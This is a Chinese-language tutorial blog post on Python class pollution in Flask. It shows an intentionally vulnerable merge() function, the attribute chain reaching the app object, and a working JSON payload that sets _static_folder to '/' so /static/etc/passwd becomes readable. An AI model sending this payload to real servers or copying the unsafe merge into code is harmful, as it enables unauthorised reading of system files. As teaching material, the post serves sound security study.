Python原型链污染之修改静态目录

测试源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask,request
import json
app = Flask(__name__)

def merge(src,dst):
for k,v in src.items():
if hasattr(dst,'__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v,dst.get(k))
else:
dst[k] = v
elif hasattr(dst,k) and type(v) == dict:
merge(v,getattr(dst,k))
else:
setattr(dst,k,v)

class cls():
def __init__(self):
pass
instance = cls()

@app.route('/',methods=['POST','GET'])
def index():
if request.data:
merge(json.loads(request.data),instance)
return "This is index"
@app.route('/src',methods=['POST','GET'])
def src():
return str(open(__file__).read())

if __name__ == '__main__':
app.run(host='0.0.0.0', port=9878, debug=False)

下面这段代码就是典型的存在原型链污染

1
2
3
4
5
6
7
8
9
10
11
def merge(src,dst):
for k,v in src.items():
if hasattr(dst,'__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v,dst.get(k))
else:
dst[k] = v
elif hasattr(dst,k) and type(v) == dict:
merge(v,getattr(dst,k))
else:
setattr(dst,k,v)

原理

_static_folder是Flask应用的静态文件目录配置,利用原型链污染将其修改为根目录,从而可以在static目录下访问到根目录下的文件

解析

instance

1
instance

从以下代码中可以看出instancecls类的一个实例化对象

1
2
3
4
class cls():
def __init__(self):
pass
instance = cls()

所以利用print打印出的是该对象的内存地址和类型

1
print(instance)

image-20251117151343006

__init__

1
instance.__init__

__init__是实例的绑定方法,这个方法在类定义的时候创建,包含了定义时上下文信息

最关键的是方法对象有__globals__属性,指向定义时的全局命名空间

1
print(instance.__init__)

image-20251117151615031

__globals__

1
instance.__init__.__globals__

__globals__是函数对象的一个属性,它引用该函数定义时的全局命名空间(全局变量字典)

可以通过__globals__访问到定义时的所有全局变量

1
print(instance.__init__.__globals__)

image-20251117153156115

通过上面图中可以发现app变量在这个全局作用域中,所以可以通过这个链访问到 Flask 应用实例

['app']

1
instance.__init__.__globals__['app']

下面这句代码使app实例成为全局变量,从而可以被任何在同一个模块中定义的函数通过__globals__访问到,这就创造了原型污染攻击的条件

1
app = Flask(__name__)
1
print(instance.__init__.__globals__['app'])

image-20251117153631276

__dict__

1
instance.__init__.__globals__['app'].__dict__

__dict__是一个字典,包含了对象的所有实例属性

通过['app'].__dict__可以获取到 Flask 应用实例的所有属性

1
print(instance.__init__.__globals__['app'].__dict__)

image-20251117154158057

其中就可以看到要攻击的目标属性_static_folder

_static_folder

1
instance.__init__.__globals__['app']._static_folder

上面已经可以看到要攻击的目标属性_static_folder

可以直接通过['app']._static_folder访问到该属性

1
print(instance.__init__.__globals__['app']._static_folder)

image-20251117154428994

污染_static_folder

可以看到此时_static_folder这个属性默认值是static,可以利用原型链污染漏洞将其值污染为根目录/,从而可以在该目录下访问到根目录的文件

1
2
3
4
5
6
7
8
9
{
"__init__": {
"__globals__": {
"app": {
"_static_folder": "/"
}
}
}
}

image-20251117154916200

然后就可以在static目录访问到根目录文件

1
/static/etc/passwd

image-20251117155835695


Python原型链污染之修改静态目录
https://yschen20.github.io/2025/11/17/Python原型链污染之修改静态目录/
作者
Suzen
发布于
2025年11月17日
更新于
2025年11月17日
许可协议